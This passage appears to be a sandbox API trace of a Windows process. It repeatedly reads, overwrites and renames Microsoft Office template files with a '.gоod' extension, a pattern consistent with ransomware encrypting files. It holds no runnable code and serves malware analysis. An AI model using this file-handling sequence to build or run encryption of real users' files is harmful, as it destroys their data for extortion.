dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.028] GetFileType (hFile=0x828) returned 0x1 [0229.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0229.028] GetFileType (hFile=0x828) returned 0x1 [0229.028] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0xbafe9 [0229.028] WriteFile (in: hFile=0x828, lpBuffer=0x366c448*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x366c448*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0229.030] CloseHandle (hObject=0x828) returned 1 [0229.030] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", lpFilePart=0x0) returned 0x4a [0229.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0229.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.030] GetFileType (hFile=0x828) returned 0x1 [0229.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0229.030] GetFileType (hFile=0x828) returned 0x1 [0229.030] ReadFile (in: hFile=0x828, lpBuffer=0x366e740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x366e740*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0229.213] CloseHandle (hObject=0x828) returned 1 [0229.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", lpFilePart=0x0) returned 0x4a [0229.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0229.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.213] GetFileType (hFile=0x828) returned 0x1 [0229.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0229.213] GetFileType (hFile=0x828) returned 0x1 [0229.213] WriteFile (in: hFile=0x828, lpBuffer=0x35d1e00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x35d1e00*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0229.214] CloseHandle (hObject=0x828) returned 1 [0229.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", lpFilePart=0x0) returned 0x4a [0229.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx.gоod", lpFilePart=0x0) returned 0x4f [0229.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0229.214] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x84d5935a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbaff9)) returned 1 [0229.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0229.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx.gоod")) returned 1 [0229.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", lpFilePart=0x0) returned 0x4a [0229.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0229.215] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x360ef48 | out: lpFileInformation=0x360ef48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7ad38b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4593e)) returned 1 [0229.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0229.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", lpFilePart=0x0) returned 0x4a [0229.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0229.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.216] GetFileType (hFile=0x828) returned 0x1 [0229.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0229.216] GetFileType (hFile=0x828) returned 0x1 [0229.216] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0229.216] ReadFile (in: hFile=0x828, lpBuffer=0x360f390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x360f390*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0229.218] CloseHandle (hObject=0x828) returned 1 [0229.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", lpFilePart=0x0) returned 0x4a [0229.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0229.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.218] GetFileType (hFile=0x828) returned 0x1 [0229.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0229.218] GetFileType (hFile=0x828) returned 0x1 [0229.218] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x4593e [0229.218] WriteFile (in: hFile=0x828, lpBuffer=0x36107e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x36107e0*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0229.220] CloseHandle (hObject=0x828) returned 1 [0229.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", lpFilePart=0x0) returned 0x4a [0229.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0229.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.220] GetFileType (hFile=0x828) returned 0x1 [0229.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0229.220] GetFileType (hFile=0x828) returned 0x1 [0229.220] ReadFile (in: hFile=0x828, lpBuffer=0x3612ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3612ab8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0229.250] CloseHandle (hObject=0x828) returned 1 [0229.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", lpFilePart=0x0) returned 0x4a [0229.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0229.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.250] GetFileType (hFile=0x828) returned 0x1 [0229.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0229.250] GetFileType (hFile=0x828) returned 0x1 [0229.250] WriteFile (in: hFile=0x828, lpBuffer=0x36117f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x36117f8*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0229.250] CloseHandle (hObject=0x828) returned 1 [0229.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx", lpFilePart=0x0) returned 0x4a [0229.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx.gоod", lpFilePart=0x0) returned 0x4f [0229.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0229.251] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x84da588c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4594e)) returned 1 [0229.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0229.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx.gоod")) returned 1 [0231.274] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", lpFilePart=0x0) returned 0x48 [0231.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0231.275] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx"), fInfoLevelId=0x0, lpFileInformation=0x3724688 | out: lpFileInformation=0x3724688*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a4d)) returned 1 [0231.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0231.275] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", lpFilePart=0x0) returned 0x48 [0231.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0231.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.276] GetFileType (hFile=0x834) returned 0x1 [0231.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0231.276] GetFileType (hFile=0x834) returned 0x1 [0231.276] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0231.276] ReadFile (in: hFile=0x834, lpBuffer=0x3724ac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3724ac0*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0231.279] CloseHandle (hObject=0x834) returned 1 [0231.279] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", lpFilePart=0x0) returned 0x48 [0231.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0231.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.279] GetFileType (hFile=0x834) returned 0x1 [0231.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0231.279] GetFileType (hFile=0x834) returned 0x1 [0231.279] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x4a4d [0231.279] WriteFile (in: hFile=0x834, lpBuffer=0x37271b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x37271b8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0231.280] CloseHandle (hObject=0x834) returned 1 [0231.280] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", lpFilePart=0x0) returned 0x48 [0231.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0231.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.281] GetFileType (hFile=0x834) returned 0x1 [0231.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0231.281] GetFileType (hFile=0x834) returned 0x1 [0231.281] ReadFile (in: hFile=0x834, lpBuffer=0x37295c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x37295c8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0231.315] CloseHandle (hObject=0x834) returned 1 [0231.315] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", lpFilePart=0x0) returned 0x48 [0231.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0231.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.316] GetFileType (hFile=0x834) returned 0x1 [0231.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0231.316] GetFileType (hFile=0x834) returned 0x1 [0231.316] WriteFile (in: hFile=0x834, lpBuffer=0x3728310*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3728310*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0231.316] CloseHandle (hObject=0x834) returned 1 [0231.316] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx", lpFilePart=0x0) returned 0x48 [0231.316] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx.gоod", lpFilePart=0x0) returned 0x4d [0231.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0231.316] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86162bba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4a5d)) returned 1 [0231.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0231.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx.gоod")) returned 1 [0231.317] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", lpFilePart=0x0) returned 0x4b [0231.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0231.317] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx"), fInfoLevelId=0x0, lpFileInformation=0x37a6a28 | out: lpFileInformation=0x37a6a28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1)) returned 1 [0231.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0231.317] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", lpFilePart=0x0) returned 0x4b [0231.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0231.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.318] GetFileType (hFile=0x834) returned 0x1 [0231.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0231.318] GetFileType (hFile=0x834) returned 0x1 [0231.318] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0231.318] ReadFile (in: hFile=0x834, lpBuffer=0x37a6e70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x37a6e70*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0232.529] CloseHandle (hObject=0x834) returned 1 [0232.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", lpFilePart=0x0) returned 0x4b [0232.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0232.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0232.532] GetFileType (hFile=0x834) returned 0x1 [0232.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0232.532] GetFileType (hFile=0x834) returned 0x1 [0232.532] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0xf6a1 [0232.563] WriteFile (in: hFile=0x834, lpBuffer=0x38709b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x38709b0*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0232.564] CloseHandle (hObject=0x834) returned 1 [0232.564] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", lpFilePart=0x0) returned 0x4b [0232.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0232.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0232.564] GetFileType (hFile=0x834) returned 0x1 [0232.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0232.564] GetFileType (hFile=0x834) returned 0x1 [0232.565] ReadFile (in: hFile=0x834, lpBuffer=0x38f08c0, nNumberOfBytesToRead=0x1000, 